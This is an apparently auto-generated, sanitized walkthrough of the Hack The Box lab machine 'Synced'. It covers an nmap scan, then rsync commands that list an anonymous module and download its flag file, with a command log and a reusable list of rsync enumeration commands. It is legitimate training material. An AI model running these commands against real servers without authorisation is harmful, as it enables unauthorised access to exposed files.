Machine / Machines

HTB: Synced

A standard nmap scan reveals a single open port: The machine name "Synced" is a direct hint toward rsync. With only one port open, the attack surface is clear. Output: One module named public is available with anonymous (no authentication)

DocumentedPublished 2026-02-15Sanitized local writeup

Scenario

HTB: Synced attack path

A standard nmap scan reveals a single open port: The machine name "Synced" is a direct hint toward rsync. With only one port open, the attack surface is clear. Output: One module named public is available with anonymous (no authentication)

Objective

Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.

HTB: Synced sanitized attack graph

Walkthrough flow

01

Open services: rsync on 873/tcp (protocol v31)

02

Findings: Anonymous rsync module "public" containing...

03

Attack path: Anonymous rsync access to download proof...

04

No privesc needed -- proof is in the anonymous share

Source coverage

Moderate source coverage

Status: partial. This article is generated from 2 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.

57% coverage
Evidence verdict

Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.

  • <TARGET>-Synced/walkthrough.md
  • HTB/<TARGET>-Synced/notes.md

Technical Walkthrough

HTB: Synced — Walkthrough

Overview

FieldValue
Target<TARGET> (Synced)
OSLinux
DifficultyEasy (Starting Point)
Key TechniqueAnonymous rsync module access
Solve Time~3 minutes

Reconnaissance

A standard nmap scan reveals a single open port:

text
PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

The machine name "Synced" is a direct hint toward rsync. With only one port open, the attack surface is clear.

Enumeration

Listing Rsync Modules

bash
rsync --list-only rsync://<TARGET>/

Output:

text
public         	Anonymous Share

One module named public is available with anonymous (no authentication) access.

Listing Module Contents

bash
rsync --list-only rsync://<TARGET>/public/

Output:

text
drwxr-xr-x          4,096 2022/10/24 17:02:23 .
-rw-r--r--             33 2022/10/24 16:32:03 flag.txt

The module contains a single file: flag.txt (33 bytes -- consistent with an MD5 hash + newline).

Exploitation

No authentication bypass or exploit needed. The rsync module allows anonymous read access. Simply download the flag:

bash
rsync rsync://<TARGET>/public/flag.txt /tmp/flag.txt
cat /tmp/flag.txt

Flag

text
<hash redacted>

Lessons Learned

  1. Machine names are hints. "Synced" maps directly to rsync (port 873). Always consider the name when forming initial hypotheses.
  2. Anonymous rsync is a real-world misconfiguration. Rsync modules without auth users or secrets file directives allow unauthenticated read (and sometimes write) access. In production, this can leak sensitive files, configs, backups, and credentials.
  3. Check for anonymous access first on Easy boxes. Before brute-forcing or searching for CVEs, try unauthenticated access -- rsync --list-only rsync://TARGET/ is the rsync equivalent of testing smbclient -L with a null session.
  4. Key rsync commands for enumeration:

- rsync --list-only rsync://TARGET/ -- list modules

- rsync --list-only rsync://TARGET/MODULE/ -- list files in a module

- rsync rsync://TARGET/MODULE/file /local/path -- download a file

- rsync -av rsync://TARGET/MODULE/ /local/dir/ -- recursively download entire module

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

FieldValue
Target IP<TARGET>
Target NameSynced
Target OSLinux
DifficultyEasy (Starting Point)
Pwnboxx08@<TARGET>
Attacker VPN IP<TARGET>
Date2026-05-05
Timebox45-60 min
Solve Time~3 minutes

Phase 0: Setup

  • Workspace created at <local workspace><TARGET>/
  • Hypothesis: "Synced" likely refers to rsync (port 873) or similar sync service -- <secret redacted>

Phase 1: Recon

Nmap Initial TCP Scan

  • Only port 873/tcp open -- rsync (protocol version 31)
  • No other services

Rsync Enumeration

  • Listed modules: public (Anonymous Share)
  • Listed contents of public: flag.txt (33 bytes)

Phase 3: Synthesis

  1. Open services: rsync on 873/tcp (protocol v31)
  2. Findings: Anonymous rsync module "public" containing flag.txt
  3. Attack path: Anonymous rsync access -> download flag directly
  4. No privesc needed -- flag is in the anonymous share

Phase 4: Foothold / Flag

  • Downloaded flag.txt via anonymous rsync
  • Flag: <hash redacted>

Command Log

bash
# Phase 0 -- Verify connectivity
ping -c 2 -W 2 <TARGET>

# Phase 1 -- Nmap
nmap -sC -sV -oN /tmp/initial.txt <TARGET>

# Phase 1 -- Rsync enumeration
rsync --list-only rsync://<TARGET>/
rsync --list-only rsync://<TARGET>/public/

# Phase 4 -- Get flag
rsync rsync://<TARGET>/public/flag.txt /tmp/flag.txt
cat /tmp/flag.txt